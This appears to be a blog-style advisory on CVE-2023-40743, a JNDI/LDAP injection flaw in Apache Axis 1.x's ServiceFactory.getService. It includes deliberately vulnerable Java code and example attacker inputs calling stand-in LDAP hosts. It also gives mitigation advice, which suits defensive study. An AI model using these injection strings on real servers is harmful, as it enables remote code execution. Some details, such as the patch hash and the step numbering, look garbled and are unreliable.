In August 2023, a high-impact vulnerability was disclosed affecting applications based on Apache Axis 1.x, a Java-based SOAP engine. Identified as CVE-2023-40743, this flaw exposes attackers to powerful attack vectors—including Remote Code Execution (RCE), Server-Side Request Forgery (SSRF), and Denial-of-Service (DoS)—when untrusted input is used with Axis' ServiceFactory.getService API method. If your application still uses Axis 1.x, you need to understand this vulnerability and take action, as the project is end-of-life and will receive no further security patches.

Vulnerability Overview

When integrating Apache Axis 1.x into an application, developers could unknowingly open their software to threats. Specifically, calling:

ServiceFactory.getService(String serviceName)

with untrusted or unsanitized input may perform lookups using potentially dangerous mechanisms like LDAP and JNDI. As a result, a malicious user could exploit this to perform several attacks.

Attack Vectors

- Denial-of-Service (DoS): Specially crafted input can cause Axis to hang or exhaust server resources.
- Server-Side Request Forgery (SSRF): Malicious endpoints could be contacted, leaking internal data or facilitating further attacks.
- Remote Code Execution (RCE): When the backend supports certain protocols, input can be crafted to trigger code execution on the server.

The vulnerability stems from Axis 1.x’s flexible service lookup logic, which can be triggered with the right input.

Vulnerable Usage

String userInput = request.getParameter("service");
Service service = ServiceFactory.getService(userInput); // DANGEROUS

If userInput is not sanitized, an attacker can pass in input like

ldap://malicious.example.com:1389/Exploit

Axis may attempt an LDAP (or other) lookup, depending on your JVM and configuration.

Exploit Details

To exploit this issue, an attacker simply needs to control or influence the serviceName parameter to getService(). For example, in a web app using Axis 1.x:

1. The application receives an inbound request, such as GET /soap?service=ldap://evil.attacker:1389/Exploit.

`java

Service service = ServiceFactory.getService("ldap://evil.attacker:1389/Exploit");

`

3. At this point, depending on the Java runtime’s JNDI and URL handler support, Axis might initiate an LDAP/JNDI lookup to the attacker's server.
4. If crafted carefully, the remote LDAP server could serve malicious serialized payloads, letting the attacker gain code execution. (See JNDI Injection for background.)

Real-World Impact

- RCE: Attackers deploying serialized Java payloads via LDAP can get the server to execute arbitrary code.
- SSRF: By referencing internal URLs (e.g., http://localhost:808/admin), attackers can trigger internal requests.

1. Migrate Away From Axis 1.x

> Axis 1.x is End of Life — It will not receive any more updates, including security patches.

We strongly advise migrating to a supported SOAP engine like Apache Axis2 or alternatives.

If migration is not feasible in the very short term, you can

- Audit all code using ServiceFactory.getService() and ensure that no untrusted, external, or unsanitized input reaches it.

Sanitize any service names with allowlists (never just blocklists).

- Apply the source code patch: The Axis team published a patch restricting dangerous behavior. See
Patch commit: 7e66753427466590d6def0125e448d279172321.

Example Sanitization

// Only allow known-safe services
String service = request.getParameter("service");
if (!"CalculatorService".equals(service)) {
  throw new IllegalArgumentException("Invalid service name");
}
Service axisService = ServiceFactory.getService(service);

Disclosure and References

- Official Advisory: ASF Security - CVE-2023-40743
- Axis Patch Commit: Github link
- Axis 1.x EOL Notice: Axis 1.x End of Life

The Axis project does not plan any further 1.x releases. Community members willing to help may contribute, but relying on this for production is not advised.

Don’t risk your assets! Upgrade or refactor away from Axis 1.x today.

*This post is an exclusive, hands-on guide to CVE-2023-40743. For further technical reading, see the official patch commit and the NVD entry.*

Timeline

Published on: 09/05/2023 15:15:00 UTC
Last modified on: 10/17/2023 15:15:00 UTC